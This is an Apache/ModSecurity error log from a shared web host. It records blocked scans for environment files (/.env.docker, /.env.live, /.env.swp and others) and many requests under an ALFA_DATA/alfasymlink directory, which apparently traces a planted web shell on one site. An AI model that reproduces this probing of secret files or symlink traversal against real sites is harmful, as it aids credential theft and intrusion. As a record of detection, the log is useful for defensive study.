[Sun Oct 25 09:51:46.551889 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at4JcvWU2HQBncZeY47EzAAAAAQ"]
[Sun Oct 25 09:51:46.709394 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4JcvWU2HQBncZeY47EzQAAAAQ"]
[Sun Oct 25 09:51:46.709648 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4JcvWU2HQBncZeY47EzQAAAAQ"]
[Sun Oct 25 09:51:46.709978 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at4JcvWU2HQBncZeY47EzQAAAAQ"]
[Sun Oct 25 09:51:46.846464 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4JcvWU2HQBncZeY47EzgAAAAQ"]
[Sun Oct 25 09:51:46.846766 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4JcvWU2HQBncZeY47EzgAAAAQ"]
[Sun Oct 25 09:51:46.847166 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4JcvWU2HQBncZeY47EzgAAAAQ"]
[Sun Oct 25 09:51:46.988077 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4JcvWU2HQBncZeY47EzwAAAAQ"]
[Sun Oct 25 09:51:46.988344 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4JcvWU2HQBncZeY47EzwAAAAQ"]
[Sun Oct 25 09:51:46.988715 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at4JcvWU2HQBncZeY47EzwAAAAQ"]
[Sun Oct 25 09:51:47.125038 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at4Jc_WU2HQBncZeY47E0AAAAAQ"]
[Sun Oct 25 09:51:47.125303 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at4Jc_WU2HQBncZeY47E0AAAAAQ"]
[Sun Oct 25 09:51:47.125683 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at4Jc_WU2HQBncZeY47E0AAAAAQ"]
[Sun Oct 25 09:51:47.265294 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at4Jc_WU2HQBncZeY47E0QAAAAQ"]
[Sun Oct 25 09:51:47.265545 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at4Jc_WU2HQBncZeY47E0QAAAAQ"]
[Sun Oct 25 09:51:47.265950 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at4Jc_WU2HQBncZeY47E0QAAAAQ"]
[Sun Oct 25 09:51:47.415186 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4Jc_WU2HQBncZeY47E0gAAAAQ"]
[Sun Oct 25 09:51:47.415412 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4Jc_WU2HQBncZeY47E0gAAAAQ"]
[Sun Oct 25 09:51:47.415773 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at4Jc_WU2HQBncZeY47E0gAAAAQ"]
[Sun Oct 25 09:51:47.555135 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4Jc_WU2HQBncZeY47E0wAAAAQ"]
[Sun Oct 25 09:51:47.555432 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4Jc_WU2HQBncZeY47E0wAAAAQ"]
[Sun Oct 25 09:51:47.555875 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at4Jc_WU2HQBncZeY47E0wAAAAQ"]
[Sun Oct 25 09:51:47.703011 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at4Jc_WU2HQBncZeY47E1AAAAAQ"]
[Sun Oct 25 09:51:47.703252 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at4Jc_WU2HQBncZeY47E1AAAAAQ"]
[Sun Oct 25 09:51:47.703647 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at4Jc_WU2HQBncZeY47E1AAAAAQ"]
[Sun Oct 25 09:51:47.857713 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at4Jc_WU2HQBncZeY47E1QAAAAQ"]
[Sun Oct 25 09:51:47.858006 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at4Jc_WU2HQBncZeY47E1QAAAAQ"]
[Sun Oct 25 09:51:47.858305 2026] [security2:error] [pid 2826774:tid 2826774] [client 34.165.152.227:57262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "corp1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at4Jc_WU2HQBncZeY47E1QAAAAQ"]
[Sun Oct 25 09:51:48.589833 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 35.173.18.61:19260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:51.200506 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.98.148:34954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:55.259944 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 18.211.148.239:8229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:51:59.364003 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.168.238.50:21984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:00.819952 2026] [authz_core:error] [pid 2834025:tid 2834025] [client 20.53.239.152:5659] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:52:01.910794 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 185.191.171.11:29490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:03.447804 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 18.209.137.234:19949] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:03.448006 2026] [security2:error] [pid 2842301:tid 2842301] [client 18.209.137.234:19949] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/PNP0A06:01/physical_node/power/runtime_status"] [unique_id "at4Jg7AXYX-KZxBobEnQ7wAAAAI"]
[Sun Oct 25 09:52:03.448060 2026] [security2:error] [pid 2842301:tid 2842301] [client 18.209.137.234:19949] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/event1/device/device/driver/serio0/firmware_node/subsystem/devices/PNP0A06:01/physical_node/power/runtime_status"] [unique_id "at4Jg7AXYX-KZxBobEnQ7wAAAAI"]
[Sun Oct 25 09:52:04.842460 2026] [security2:error] [pid 2834025:tid 2834025] [client 20.53.239.152:5659] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-content/languages/plugins/"] [unique_id "at4JhKGxe7V6jzF5H8VNDgAAABg"]
[Sun Oct 25 09:52:04.842496 2026] [security2:error] [pid 2834025:tid 2834025] [client 20.53.239.152:5659] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-content/languages/plugins/"] [unique_id "at4JhKGxe7V6jzF5H8VNDgAAABg"]
[Sun Oct 25 09:52:07.531446 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 3.94.40.182:65123] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:11.330267 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 35.169.119.108:45856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/drivers/ec/bind
[Sun Oct 25 09:52:15.387151 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.195.60.66:44450] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:19.711077 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.22.64.232:59540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:23.760321 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.229.2.217:56580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:27.352153 2026] [core:error] [pid 2842301:tid 2842301] (13)Permission denied: [client 44.206.65.8:29051] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/unbind
[Sun Oct 25 09:52:32.993781 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.230.224.6:57618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:35.471608 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 3.209.174.110:39322] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:39.568398 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 44.206.65.8:12991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:52:43.695487 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.223.232.55:6778] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:03.443136 2026] [ssl:error] [pid 2842300:tid 2842300] (70014)End of file found: [client 35.169.240.53:34307] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:07.649547 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 52.2.83.227:15094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/unbind
[Sun Oct 25 09:53:15.536024 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.225.45.252:17354] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:24.389976 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 34.206.249.188:32447] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:27.633091 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 54.84.161.62:30255] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu1/node0/memory18/node0/subsystem/uevent
[Sun Oct 25 09:53:32.601086 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 98.83.72.38:1909] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:43.763748 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.169.240.53:59669] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:47.786572 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.195.60.66:10032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:51.787947 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 44.215.61.66:28505] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:53:55.618150 2026] [ssl:error] [pid 2842301:tid 2842301] (70014)End of file found: [client 23.21.148.226:40467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:03.453519 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.98.148:31159] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:07.521265 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 100.28.204.82:23587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:12.928983 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.12:45148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/align
[Sun Oct 25 09:54:15.802753 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 3.225.9.97:1694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/rescan
[Sun Oct 25 09:54:22.356516 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 185.191.171.9:20476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:54:22.356746 2026] [security2:error] [pid 2834020:tid 2834020] [client 185.191.171.9:20476] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/module/libata/parameters/atapi_dmadir"] [unique_id "at4KDhus_mjnPB8X3pG-FwAAABI"]
